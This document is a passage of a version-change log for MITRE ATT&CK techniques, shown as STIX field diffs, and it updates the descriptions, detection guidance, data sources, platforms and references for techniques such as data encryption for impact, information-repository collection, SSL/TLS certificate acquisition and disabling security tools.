| external_references[6]['source_name'] | Mandiant M-Trends 2020 | Expel IO Evil in AWS |
| external_references[6]['description'] | Mandiant. (2020, February). M-Trends 2020. Retrieved April 24, 2020. | A. Randazzo, B. Manahan and S. Lipton. (2020, April 28). Finding Evil in AWS. Retrieved June 25, 2020. |
| external_references[6]['url'] | https://content.fireeye.com/m-trends/rpt-m-trends-2020 | https://expel.io/blog/finding-evil-in-aws/ |
| x_mitre_data_sources[0] | GCP audit logs | Instance: Instance Metadata |
| x_mitre_data_sources[1] | Stackdriver logs | Instance: Instance Enumeration |
| x_mitre_data_sources[2] | AWS CloudTrail logs | Snapshot: Snapshot Metadata |
| x_mitre_data_sources[3] | Azure activity logs | Snapshot: Snapshot Enumeration |
| x_mitre_platforms[0] | AWS | IaaS |
| x_mitre_version | 1.0 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Mandiant M-Trends 2020', 'description': 'Mandiant. (2020, February). M-Trends 2020. Retrieved April 24, 2020.', 'url': 'https://content.fireeye.com/m-trends/rpt-m-trends-2020'} | |
| external_references | {'source_name': 'AWS Describe DB Instances', 'description': 'Amazon Web Services. (n.d.). Retrieved May 28, 2021.', 'url': 'https://docs.aws.amazon.com/AmazonRDS/latest/APIReference/API_DescribeDBInstances.html'} | |
| x_mitre_contributors | Regina Elwell | |
| x_mitre_contributors | Isif Ibrahima | |
| x_mitre_data_sources | Cloud Storage: Cloud Storage Metadata | |
| x_mitre_data_sources | Cloud Storage: Cloud Storage Enumeration | |
| x_mitre_data_sources | Volume: Volume Metadata | |
| x_mitre_data_sources | Volume: Volume Enumeration |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | Azure | |
| x_mitre_platforms | GCP |
Current version: 1.2
Version changed from: 1.0 → 1.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may encrypt data on target systems or on large n | t | 1 | Adversaries may encrypt data on target systems or on large n |
| > | umbers of systems in a network to interrupt availability to | > | umbers of systems in a network to interrupt availability to | ||
| > | system and network resources. They can attempt to render sto | > | system and network resources. They can attempt to render sto | ||
| > | red data inaccessible by encrypting files or data on local a | > | red data inaccessible by encrypting files or data on local a | ||
| > | nd remote drives and withholding access to a decryption key. | > | nd remote drives and withholding access to a decryption key. | ||
| > | This may be done in order to extract monetary compensation | > | This may be done in order to extract monetary compensation | ||
| > | from a victim in exchange for decryption or a decryption key | > | from a victim in exchange for decryption or a decryption key | ||
| > | (ransomware) or to render data permanently inaccessible in | > | (ransomware) or to render data permanently inaccessible in | ||
| > | cases where the key is not saved or transmitted.(Citation: U | > | cases where the key is not saved or transmitted.(Citation: U | ||
| > | S-CERT Ransomware 2016)(Citation: FireEye WannaCry 2017)(Cit | > | S-CERT Ransomware 2016)(Citation: FireEye WannaCry 2017)(Cit | ||
| > | ation: US-CERT NotPetya 2017)(Citation: US-CERT SamSam 2018) | > | ation: US-CERT NotPetya 2017)(Citation: US-CERT SamSam 2018) | ||
| > | In the case of ransomware, it is typical that common user f | > | In the case of ransomware, it is typical that common user f | ||
| > | iles like Office documents, PDFs, images, videos, audio, tex | > | iles like Office documents, PDFs, images, videos, audio, tex | ||
| > | t, and source code files will be encrypted. In some cases, a | > | t, and source code files will be encrypted. In some cases, a | ||
| > | dversaries may encrypt critical system files, disk partition | > | dversaries may encrypt critical system files, disk partition | ||
| > | s, and the MBR.(Citation: US-CERT NotPetya 2017) To maximiz | > | s, and the MBR.(Citation: US-CERT NotPetya 2017) To maximiz | ||
| > | e impact on the target organization, malware designed for en | > | e impact on the target organization, malware designed for en | ||
| > | crypting data may have worm-like features to propagate acros | > | crypting data may have worm-like features to propagate acros | ||
| > | s a network by leveraging other attack techniques like [Vali | > | s a network by leveraging other attack techniques like [Vali | ||
| > | d Accounts](https://attack.mitre.org/techniques/T1078), [OS | > | d Accounts](https://attack.mitre.org/techniques/T1078), [OS | ||
| > | Credential Dumping](https://attack.mitre.org/techniques/T100 | > | Credential Dumping](https://attack.mitre.org/techniques/T100 | ||
| > | 3), and [SMB/Windows Admin Shares](https://attack.mitre.org/ | > | 3), and [SMB/Windows Admin Shares](https://attack.mitre.org/ | ||
| > | techniques/T1021/002).(Citation: FireEye WannaCry 2017)(Cita | > | techniques/T1021/002).(Citation: FireEye WannaCry 2017)(Cita | ||
| > | tion: US-CERT NotPetya 2017) | > | tion: US-CERT NotPetya 2017) In cloud environments, storage | ||
| > | objects within compromised accounts may also be encrypted.( | ||||
| > | Citation: Rhino S3 Ransomware Part 1) | ||||
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['Oleg Kolesnikov, Securonix'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-14 14:52:11.708000+00:00 | 2021-08-16 21:07:27.119000+00:00 |
| description | Adversaries may encrypt data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources. They can attempt to render stored data inaccessible by encrypting files or data on local and remote drives and withholding access to a decryption key. This may be done in order to extract monetary compensation from a victim in exchange for decryption or a decryption key (ransomware) or to render data permanently inaccessible in cases where the key is not saved or transmitted.(Citation: US-CERT Ransomware 2016)(Citation: FireEye WannaCry 2017)(Citation: US-CERT NotPetya 2017)(Citation: US-CERT SamSam 2018) In the case of ransomware, it is typical that common user files like Office documents, PDFs, images, videos, audio, text, and source code files will be encrypted. In some cases, adversaries may encrypt critical system files, disk partitions, and the MBR.(Citation: US-CERT NotPetya 2017) To maximize impact on the target organization, malware designed for encrypting data may have worm-like features to propagate across a network by leveraging other attack techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: FireEye WannaCry 2017)(Citation: US-CERT NotPetya 2017) | Adversaries may encrypt data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources. They can attempt to render stored data inaccessible by encrypting files or data on local and remote drives and withholding access to a decryption key. This may be done in order to extract monetary compensation from a victim in exchange for decryption or a decryption key (ransomware) or to render data permanently inaccessible in cases where the key is not saved or transmitted.(Citation: US-CERT Ransomware 2016)(Citation: FireEye WannaCry 2017)(Citation: US-CERT NotPetya 2017)(Citation: US-CERT SamSam 2018) In the case of ransomware, it is typical that common user files like Office documents, PDFs, images, videos, audio, text, and source code files will be encrypted. In some cases, adversaries may encrypt critical system files, disk partitions, and the MBR.(Citation: US-CERT NotPetya 2017) To maximize impact on the target organization, malware designed for encrypting data may have worm-like features to propagate across a network by leveraging other attack techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: FireEye WannaCry 2017)(Citation: US-CERT NotPetya 2017) In cloud environments, storage objects within compromised accounts may also be encrypted.(Citation: Rhino S3 Ransomware Part 1) |
| x_mitre_data_sources[0] | Kernel drivers | Cloud Storage: Cloud Storage Metadata |
| x_mitre_data_sources[1] | File monitoring | Cloud Storage: Cloud Storage Modification |
| x_mitre_data_sources[2] | Process command-line parameters | Process: Process Creation |
| x_mitre_data_sources[3] | Process monitoring | Command: Command Execution |
| x_mitre_detection | Use process monitoring to monitor the execution and command line parameters of binaries involved in data destruction activity, such as vssadmin, wbadmin, and bcdedit. Monitor for the creation of suspicious files as well as unusual file modification activity. In particular, look for large quantities of file modifications in user directories. In some cases, monitoring for unusual kernel driver installation activity can aid in detection. | Use process monitoring to monitor the execution and command line parameters of binaries involved in data destruction activity, such as vssadmin, wbadmin, and bcdedit. Monitor for the creation of suspicious files as well as unusual file modification activity. In particular, look for large quantities of file modifications in user directories. In some cases, monitoring for unusual kernel driver installation activity can aid in detection. In cloud environments, monitor for events that indicate storage objects have been anomalously replaced by copies. |
| x_mitre_version | 1.0 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Rhino S3 Ransomware Part 1', 'description': 'Gietzen, S. (n.d.). S3 Ransomware Part 1: Attack Vector. Retrieved April 14, 2021.', 'url': 'https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/'} | |
| x_mitre_data_sources | File: File Modification | |
| x_mitre_data_sources | File: File Creation | |
| x_mitre_platforms | IaaS |
Current version: 3.2
Version changed from: 3.0 → 3.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may leverage information repositories to mine va | t | 1 | Adversaries may leverage information repositories to mine va |
| > | luable information. Information repositories are tools that | > | luable information. Information repositories are tools that | ||
| > | allow for storage of information, typically to facilitate co | > | allow for storage of information, typically to facilitate co | ||
| > | llaboration or information sharing between users, and can st | > | llaboration or information sharing between users, and can st | ||
| > | ore a wide variety of data that may aid adversaries in furth | > | ore a wide variety of data that may aid adversaries in furth | ||
| > | er objectives, or direct access to the target information. | > | er objectives, or direct access to the target information. A | ||
| > | The following is a brief list of example information that ma | > | dversaries may also abuse external sharing features to share | ||
| > | y hold potential value to an adversary and may also be found | > | sensitive documents with recipients outside of the organiza | ||
| > | on an information repository: * Policies, procedures, and | > | tion. The following is a brief list of example information | ||
| > | standards * Physical / logical network diagrams * System arc | > | that may hold potential value to an adversary and may also | ||
| > | hitecture diagrams * Technical system documentation * Testin | > | be found on an information repository: * Policies, procedur | ||
| > | g / development credentials * Work / project schedules * Sou | > | es, and standards * Physical / logical network diagrams * Sy | ||
| > | rce code snippets * Links to network shares and other intern | > | stem architecture diagrams * Technical system documentation | ||
| > | al resources Information stored in a repository may vary ba | > | * Testing / development credentials * Work / project schedul | ||
| > | sed on the specific instance or environment. Specific common | > | es * Source code snippets * Links to network shares and othe | ||
| > | information repositories include [Sharepoint](https://attac | > | r internal resources Information stored in a repository may | ||
| > | k.mitre.org/techniques/T1213/002), [Confluence](https://atta | > | vary based on the specific instance or environment. Specifi | ||
| > | ck.mitre.org/techniques/T1213/001), and enterprise databases | > | c common information repositories include web-based platform | ||
| > | such as SQL Server. | > | s such as [Sharepoint](https://attack.mitre.org/techniques/T | ||
| > | 1213/002) and [Confluence](https://attack.mitre.org/techniqu | ||||
| > | es/T1213/001), specific services such as Code Repositories, | ||||
| > | IaaS databases, enterprise databases, and other storage infr | ||||
| > | astructure such as SQL Server. | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-12 12:16:55.085000+00:00 | 2021-10-16 01:35:43.938000+00:00 |
| description | Adversaries may leverage information repositories to mine valuable information. Information repositories are tools that allow for storage of information, typically to facilitate collaboration or information sharing between users, and can store a wide variety of data that may aid adversaries in further objectives, or direct access to the target information. The following is a brief list of example information that may hold potential value to an adversary and may also be found on an information repository: * Policies, procedures, and standards * Physical / logical network diagrams * System architecture diagrams * Technical system documentation * Testing / development credentials * Work / project schedules * Source code snippets * Links to network shares and other internal resources Information stored in a repository may vary based on the specific instance or environment. Specific common information repositories include [Sharepoint](https://attack.mitre.org/techniques/T1213/002), [Confluence](https://attack.mitre.org/techniques/T1213/001), and enterprise databases such as SQL Server. | Adversaries may leverage information repositories to mine valuable information. Information repositories are tools that allow for storage of information, typically to facilitate collaboration or information sharing between users, and can store a wide variety of data that may aid adversaries in further objectives, or direct access to the target information. Adversaries may also abuse external sharing features to share sensitive documents with recipients outside of the organization. The following is a brief list of example information that may hold potential value to an adversary and may also be found on an information repository: * Policies, procedures, and standards * Physical / logical network diagrams * System architecture diagrams * Technical system documentation * Testing / development credentials * Work / project schedules * Source code snippets * Links to network shares and other internal resources Information stored in a repository may vary based on the specific instance or environment. Specific common information repositories include web-based platforms such as [Sharepoint](https://attack.mitre.org/techniques/T1213/002) and [Confluence](https://attack.mitre.org/techniques/T1213/001), specific services such as Code Repositories, IaaS databases, enterprise databases, and other storage infrastructure such as SQL Server. |
| external_references[2]['source_name'] | Atlassian Confluence Logging | Sharepoint Sharing Events |
| external_references[2]['description'] | Atlassian. (2018, January 9). How to Enable User Access Logging. Retrieved April 4, 2018. | Microsoft. (n.d.). Sharepoint Sharing Events. Retrieved October 8, 2021. |
| external_references[2]['url'] | https://confluence.atlassian.com/confkb/how-to-enable-user-access-logging-182943.html | https://docs.microsoft.com/en-us/microsoft-365/compliance/use-sharing-auditing?view=o365-worldwide#sharepoint-sharing-events |
| x_mitre_data_sources[0] | OAuth audit logs | Logon Session: Logon Session Creation |
| x_mitre_data_sources[1] | Application logs | Application Log: Application Log Content |
| x_mitre_detection | As information repositories generally have a considerably large user base, detection of malicious use can be non-trivial. At minimum, access to information repositories performed by privileged users (for example, Active Directory Domain, Enterprise, or Schema Administrators) should be closely monitored and alerted upon, as these types of accounts should not generally used to access information repositories. If the capability exists, it may be of value to monitor and alert on users that are retrieving and viewing a large number of documents and pages; this behavior may be indicative of programmatic means being used to retrieve all data within the repository. In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user based anomalies. The user access logging within Microsoft's SharePoint can be configured to report access to certain pages and documents. (Citation: Microsoft SharePoint Logging) The user access logging within Atlassian's Confluence can also be configured to report access to certain pages and documents through AccessLogFilter. (Citation: Atlassian Confluence Logging) Additional log storage and analysis infrastructure will likely be required for more robust detection capabilities. | As information repositories generally have a considerably large user base, detection of malicious use can be non-trivial. At minimum, access to information repositories performed by privileged users (for example, Active Directory Domain, Enterprise, or Schema Administrators) should be closely monitored and alerted upon, as these types of accounts should generally not be used to access information repositories. If the capability exists, it may be of value to monitor and alert on users that are retrieving and viewing a large number of documents and pages; this behavior may be indicative of programmatic means being used to retrieve all data within the repository. In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user based anomalies. The user access logging within Microsoft's SharePoint can be configured to report access to certain pages and documents. (Citation: Microsoft SharePoint Logging) Sharepoint audit logging can also be configured to report when a user shares a resource. (Citation: Sharepoint Sharing Events) The user access logging within Atlassian's Confluence can also be configured to report access to certain pages and documents through AccessLogFilter. (Citation: Atlassian Confluence Logging) Additional log storage and analysis infrastructure will likely be required for more robust detection capabilities. |
| x_mitre_version | 3.0 | 3.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Atlassian Confluence Logging', 'description': 'Atlassian. (2018, January 9). How to Enable User Access Logging. Retrieved April 4, 2018.', 'url': 'https://confluence.atlassian.com/confkb/how-to-enable-user-access-logging-182943.html'} | |
| x_mitre_contributors | Naveen Vijayaraghavan, Nilesh Dherange (Gurucul) | |
| x_mitre_contributors | Regina Elwell | |
| x_mitre_contributors | Isif Ibrahima | |
| x_mitre_platforms | Google Workspace | |
| x_mitre_platforms | IaaS |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Authentication logs | |
| x_mitre_data_sources | Data loss prevention | |
| x_mitre_data_sources | Third-party application logs |
Current version: 1.2
Version changed from: 1.0 → 1.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may buy and/or ste | t | 1 | Adversaries may buy and/or steal SSL/TLS certificates that c |
| > | al SSL/TLS certificates that can be used during targeting. S | > | an be used during targeting. SSL/TLS certificates are design | ||
| > | SL/TLS certificates are designed to instill trust. They incl | > | ed to instill trust. They include information about the key, | ||
| > | ude information about the key, information about its owner's | > | information about its owner's identity, and the digital sig | ||
| > | identity, and the digital signature of an entity that has v | > | nature of an entity that has verified the certificate's cont | ||
| > | erified the certificate's contents are correct. If the signa | > | ents are correct. If the signature is valid, and the person | ||
| > | ture is valid, and the person examining the certificate trus | > | examining the certificate trusts the signer, then they know | ||
| > | ts the signer, then they know they can use that key to commu | > | they can use that key to communicate with its owner. Advers | ||
| > | nicate with its owner. Adversaries may purchase or steal SS | > | aries may purchase or steal SSL/TLS certificates to further | ||
| > | L/TLS certificates to further their operations, such as encr | > | their operations, such as encrypting C2 traffic (ex: [Asymme | ||
| > | ypting C2 traffic (ex: [Web Protocols](https://attack.mitre. | > | tric Cryptography](https://attack.mitre.org/techniques/T1573 | ||
| > | org/techniques/T1071/001)) or even enabling [Man-in-the-Midd | > | /002) with [Web Protocols](https://attack.mitre.org/techniqu | ||
| > | le](https://attack.mitre.org/techniques/T1557) if the certif | > | es/T1071/001)) or even enabling [Adversary-in-the-Middle](ht | ||
| > | icate is trusted or otherwise added to the root of trust (i. | > | tps://attack.mitre.org/techniques/T1557) if the certificate | ||
| > | e. [Install Root Certificate](https://attack.mitre.org/techn | > | is trusted or otherwise added to the root of trust (i.e. [In | ||
| > | iques/T1553/004)). The purchase of digital certificates may | > | stall Root Certificate](https://attack.mitre.org/techniques/ | ||
| > | be done using a front organization or using information stol | > | T1553/004)). The purchase of digital certificates may be don | ||
| > | en from a previously compromised entity that allows the adve | > | e using a front organization or using information stolen fro | ||
| > | rsary to validate to a certificate provider as that entity. | > | m a previously compromised entity that allows the adversary | ||
| > | Adversaries may also steal certificate materials directly fr | > | to validate to a certificate provider as that entity. Advers | ||
| > | om a compromised third-party, including from certificate aut | > | aries may also steal certificate materials directly from a c | ||
| > | horities.(Citation: DiginotarCompromise) Certificate author | > | ompromised third-party, including from certificate authoriti | ||
| > | ities exist that allow adversaries to acquire SSL/TLS certif | > | es.(Citation: DiginotarCompromise) Adversaries may register | ||
| > | icates, such as domain validation certificates, for free.(Ci | > | or hijack domains that they will later purchase an SSL/TLS c | ||
| > | tation: Let's Encrypt FAQ) Adversaries may register or hija | > | ertificate for. Certificate authorities exist that allow ad | ||
| > | ck domains that they will later purchase an SSL/TLS certific | > | versaries to acquire SSL/TLS certificates, such as domain va | ||
| > | ate for. | > | lidation certificates, for free.(Citation: Let's Encrypt FAQ | ||
| > | ) After obtaining a digital certificate, an adversary may t | ||||
| > | hen install that certificate (see [Install Digital Certifica | ||||
| > | te](https://attack.mitre.org/techniques/T1608/003)) on infra | ||||
| > | structure under their control. | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-22 18:18:54.959000+00:00 | 2021-10-16 17:44:09.486000+00:00 |
| description | Before compromising a victim, adversaries may buy and/or steal SSL/TLS certificates that can be used during targeting. SSL/TLS certificates are designed to instill trust. They include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate with its owner. Adversaries may purchase or steal SSL/TLS certificates to further their operations, such as encrypting C2 traffic (ex: [Web Protocols](https://attack.mitre.org/techniques/T1071/001)) or even enabling [Man-in-the-Middle](https://attack.mitre.org/techniques/T1557) if the certificate is trusted or otherwise added to the root of trust (i.e. [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004)). The purchase of digital certificates may be done using a front organization or using information stolen from a previously compromised entity that allows the adversary to validate to a certificate provider as that entity. Adversaries may also steal certificate materials directly from a compromised third-party, including from certificate authorities.(Citation: DiginotarCompromise) Certificate authorities exist that allow adversaries to acquire SSL/TLS certificates, such as domain validation certificates, for free.(Citation: Let's Encrypt FAQ) Adversaries may register or hijack domains that they will later purchase an SSL/TLS certificate for. | Adversaries may buy and/or steal SSL/TLS certificates that can be used during targeting. SSL/TLS certificates are designed to instill trust. They include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate with its owner. Adversaries may purchase or steal SSL/TLS certificates to further their operations, such as encrypting C2 traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)) or even enabling [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) if the certificate is trusted or otherwise added to the root of trust (i.e. [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004)). The purchase of digital certificates may be done using a front organization or using information stolen from a previously compromised entity that allows the adversary to validate to a certificate provider as that entity. Adversaries may also steal certificate materials directly from a compromised third-party, including from certificate authorities.(Citation: DiginotarCompromise) Adversaries may register or hijack domains that they will later purchase an SSL/TLS certificate for. Certificate authorities exist that allow adversaries to acquire SSL/TLS certificates, such as domain validation certificates, for free.(Citation: Let's Encrypt FAQ) After obtaining a digital certificate, an adversary may then install that certificate (see [Install Digital Certificate](https://attack.mitre.org/techniques/T1608/003)) on infrastructure under their control. |
| x_mitre_data_sources[0] | SSL/TLS certificates | Certificate: Certificate Registration |
| x_mitre_version | 1.0 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Internet Scan: Response Content |
Current version: 1.2
Version changed from: 1.0 → 1.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may create self-si | t | 1 | Adversaries may create self-signed SSL/TLS certificates that |
| > | gned SSL/TLS certificates that can be used during targeting. | > | can be used during targeting. SSL/TLS certificates are desi | ||
| > | SSL/TLS certificates are designed to instill trust. They in | > | gned to instill trust. They include information about the ke | ||
| > | clude information about the key, information about its owner | > | y, information about its owner's identity, and the digital s | ||
| > | 's identity, and the digital signature of an entity that has | > | ignature of an entity that has verified the certificate's co | ||
| > | verified the certificate's contents are correct. If the sig | > | ntents are correct. If the signature is valid, and the perso | ||
| > | nature is valid, and the person examining the certificate tr | > | n examining the certificate trusts the signer, then they kno | ||
| > | usts the signer, then they know they can use that key to com | > | w they can use that key to communicate with its owner. In th | ||
| > | municate with its owner. In the case of self-signing, digita | > | e case of self-signing, digital certificates will lack the e | ||
| > | l certificates will lack the element of trust associated wit | > | lement of trust associated with the signature of a third-par | ||
| > | h the signature of a third-party certificate authority (CA). | > | ty certificate authority (CA). Adversaries may create self- | ||
| > | Adversaries may create self-signed SSL/TLS certificates th | > | signed SSL/TLS certificates that can be used to further thei | ||
| > | at can be used to further their operations, such as encrypti | > | r operations, such as encrypting C2 traffic (ex: [Asymmetric | ||
| > | ng C2 traffic (ex: [Web Protocols](https://attack.mitre.org/ | > | Cryptography](https://attack.mitre.org/techniques/T1573/002 | ||
| > | techniques/T1071/001)) or even enabling [Man-in-the-Middle]( | > | ) with [Web Protocols](https://attack.mitre.org/techniques/T | ||
| > | https://attack.mitre.org/techniques/T1557) if added to the r | > | 1071/001)) or even enabling [Adversary-in-the-Middle](https: | ||
| > | oot of trust (i.e. [Install Root Certificate](https://attack | > | //attack.mitre.org/techniques/T1557) if added to the root of | ||
| > | .mitre.org/techniques/T1553/004)). | > | trust (i.e. [Install Root Certificate](https://attack.mitre | ||
| > | .org/techniques/T1553/004)). After creating a digital certi | ||||
| > | ficate, an adversary may then install that certificate (see | ||||
| > | [Install Digital Certificate](https://attack.mitre.org/techn | ||||
| > | iques/T1608/003)) on infrastructure under their control. | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-22 18:18:08.422000+00:00 | 2021-10-16 17:32:34.604000+00:00 |
| description | Before compromising a victim, adversaries may create self-signed SSL/TLS certificates that can be used during targeting. SSL/TLS certificates are designed to instill trust. They include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate with its owner. In the case of self-signing, digital certificates will lack the element of trust associated with the signature of a third-party certificate authority (CA). Adversaries may create self-signed SSL/TLS certificates that can be used to further their operations, such as encrypting C2 traffic (ex: [Web Protocols](https://attack.mitre.org/techniques/T1071/001)) or even enabling [Man-in-the-Middle](https://attack.mitre.org/techniques/T1557) if added to the root of trust (i.e. [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004)). | Adversaries may create self-signed SSL/TLS certificates that can be used during targeting. SSL/TLS certificates are designed to instill trust. They include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate with its owner. In the case of self-signing, digital certificates will lack the element of trust associated with the signature of a third-party certificate authority (CA). Adversaries may create self-signed SSL/TLS certificates that can be used to further their operations, such as encrypting C2 traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)) or even enabling [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) if added to the root of trust (i.e. [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004)). After creating a digital certificate, an adversary may then install that certificate (see [Install Digital Certificate](https://attack.mitre.org/techniques/T1608/003)) on infrastructure under their control. |
| x_mitre_data_sources[0] | SSL/TLS certificates | Internet Scan: Response Content |
| x_mitre_version | 1.0 | 1.2 |
Current version: 1.2
Version changed from: 1.0 → 1.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may disable security tools to avoid possible det | t | 1 | Adversaries may modify and/or disable security tools to avoi |
| > | ection of their tools and activities. This can take the form | > | d possible detection of their malware/tools and activities. | ||
| > | of killing security software or event logging processes, de | > | This may take the many forms, such as killing security softw | ||
| > | leting Registry keys so that tools do not start at run time, | > | are processes or services, modifying / deleting Registry key | ||
| > | or other methods to interfere with security tools scanning | > | s or configuration files so that tools do not operate proper | ||
| > | or reporting information. | > | ly, or other methods to interfere with security tools scanni | ||
| > | ng or reporting information. Adversaries may also tamper wi | ||||
| > | th artifacts deployed and utilized by security tools. Securi | ||||
| > | ty tools may make dynamic changes to system components in or | ||||
| > | der to maintain visibility into specific events. For example | ||||
| > | , security products may load their own modules and/or modify | ||||
| > | those loaded by processes to facilitate data collection. Si | ||||
| > | milar to [Indicator Blocking](https://attack.mitre.org/techn | ||||
| > | iques/T1562/006), adversaries may unhook or otherwise modify | ||||
| > | these features added by tools (especially those that exist | ||||
| > | in userland or are otherwise potentially accessible to adver | ||||
| > | saries) to avoid detection.(Citation: OutFlank System Calls) | ||||
| > | (Citation: MDSec System Calls) | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['Gordon Long, Box, Inc., @ethicalhax', 'Ziv Karliner, @ziv_kr, Team Nautilus Aqua Security', 'Nathaniel Quist, Palo Alto Networks', 'Gal Singer, @galsinger29, Team Nautilus Aqua Security'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-29 21:52:43.151000+00:00 | 2021-10-18 21:27:48.159000+00:00 |
| description | Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information. | Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take the many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also tamper with artifacts deployed and utilized by security tools. Security tools may make dynamic changes to system components in order to maintain visibility into specific events. For example, security products may load their own modules and/or modify those loaded by processes to facilitate data collection. Similar to [Indicator Blocking](https://attack.mitre.org/techniques/T1562/006), adversaries may unhook or otherwise modify these features added by tools (especially those that exist in userland or are otherwise potentially accessible to adversaries) to avoid detection.(Citation: OutFlank System Calls)(Citation: MDSec System Calls) |
| x_mitre_data_sources[0] | Process command-line parameters | Process: Process Termination |
| x_mitre_data_sources[1] | Windows Registry | Windows Registry: Windows Registry Key Modification |
| x_mitre_data_sources[2] | Services | Windows Registry: Windows Registry Key Deletion |
| x_mitre_data_sources[3] | File monitoring | Command: Command Execution |
| x_mitre_detection | Monitor processes and command-line arguments to see if security tools are killed or stop running. Monitor Registry edits for modifications to services and startup programs that correspond to security tools. Lack of log events may be suspicious. | Monitor processes and command-line arguments to see if security tools/services are killed or stop running. Monitor Registry edits for modifications to services and startup programs that correspond to security tools. Monitoring for changes to other known features used by deployed security tools may also expose malicious activity. Lack of expected log events may be suspicious. |
| x_mitre_version | 1.0 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'OutFlank System Calls', 'description': 'de Plaa, C. (2019, June 19). Red Team Tactics: Combining Direct System Calls and sRDI to bypass AV/EDR. Retrieved September 29, 2021.', 'url': 'https://outflank.nl/blog/2019/06/19/red-team-tactics-combining-direct-system-calls-and-srdi-to-bypass-av-edr/'} | |
| external_references | {'source_name': 'MDSec System Calls', 'description': 'MDSec Research. (2020, December). Bypassing User-Mode Hooks and Direct Invocation of System Calls for Red Teams. Retrieved September 29, 2021.', 'url': 'https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams/'} | |
| x_mitre_data_sources | Service: Service Metadata | |
| x_mitre_data_sources | Sensor Health: Host Status | |
| x_mitre_platforms | Containers | |
| x_mitre_platforms | IaaS |
Current version: 2.3
Version changed from: 2.1 → 2.3
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-24 18:31:06.417000+00:00 | 2021-10-15 20:19:33.750000+00:00 |
| x_mitre_data_sources[0] | Office 365 trace logs | File: File Access |
| x_mitre_data_sources[1] | Mail server | Network Traffic: Network Connection Creation |
| x_mitre_data_sources[2] | Email gateway | Logon Session: Logon Session Creation |
| x_mitre_data_sources[3] | Authentication logs | Command: Command Execution |
| x_mitre_data_sources[4] | File monitoring | Application Log: Application Log Content |
| x_mitre_version | 2.1 | 2.3 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | Google Workspace | |
| x_mitre_platforms | macOS | |
| x_mitre_platforms | Linux |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process monitoring | |
| x_mitre_data_sources | Process use of network |
Current version: 1.2
Version changed from: 1.0 → 1.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may setup email forwarding rules to collect sens | t | 1 | Adversaries may setup email forwarding rules to collect sens |
| > | itive information. Adversaries may abuse email-forwarding ru | > | itive information. Adversaries may abuse email-forwarding ru | ||
| > | les to monitor the activities of a victim, steal information | > | les to monitor the activities of a victim, steal information | ||
